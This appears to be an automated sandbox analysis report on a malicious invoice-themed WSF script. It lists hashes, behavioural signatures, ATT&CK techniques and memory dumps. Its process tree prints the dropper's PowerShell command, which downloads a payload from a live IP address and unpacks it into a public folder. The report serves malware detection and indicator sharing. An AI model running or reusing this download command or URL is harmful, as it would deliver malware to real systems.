0293f18506d1ee560edb08d31df755429c20f1401eb0adf57a364f310dbb25fb

Analysis

max time kernel
14s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
14-10-2024 15:12

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General

Target

eBill_278146878CV.wsf
Size

31KB
MD5

0a7c5d3d48afcfd0665cde72c0f34056
SHA1

0a54cc9c809d7e4652124594cf4c9aa5d0e69fb0
SHA256

abe9c101a2935a04086558477a69ad3c2ec2a41a60ca50519c39a7db0e07d41d
SHA512

c0f00e95aa2e9079ff80d80c839388ea6c7f055a764249d76f4f8933c5dcbc006892a9c46faf28ea1203541c34fb82e6557940e93b98b0b4cb371cdf0c489381
SSDEEP

768:GneTE/AK58r/7LtJKyvuh9gneTE/AK58r/7LtJKyvuh9w:GGQG/dlGQG/dH

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.16.38.38:555/ver/d.jpg

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2348	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 2236	2348	WScript.exe	29
PID 2348 wrote to memory of 2236	2348	WScript.exe	29
PID 2348 wrote to memory of 2236	2348	WScript.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\eBill_278146878CV.wsf"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-BitsTransfer -Source 'http://185.16.38.38:555/ver/d.jpg' -Destination 'C:\Users\Public\ben.zip'; Expand-Archive -Path 'C:\Users\Public\ben.zip' -DestinationPath 'C:\Users\Public\' -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2236-7-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

Filesize
4KB

Download
memory/2236-8-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/2236-9-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2236-10-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2236-11-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2236-12-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2236-13-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2236-14-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download
memory/2236-15-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Filesize
9.6MB

Download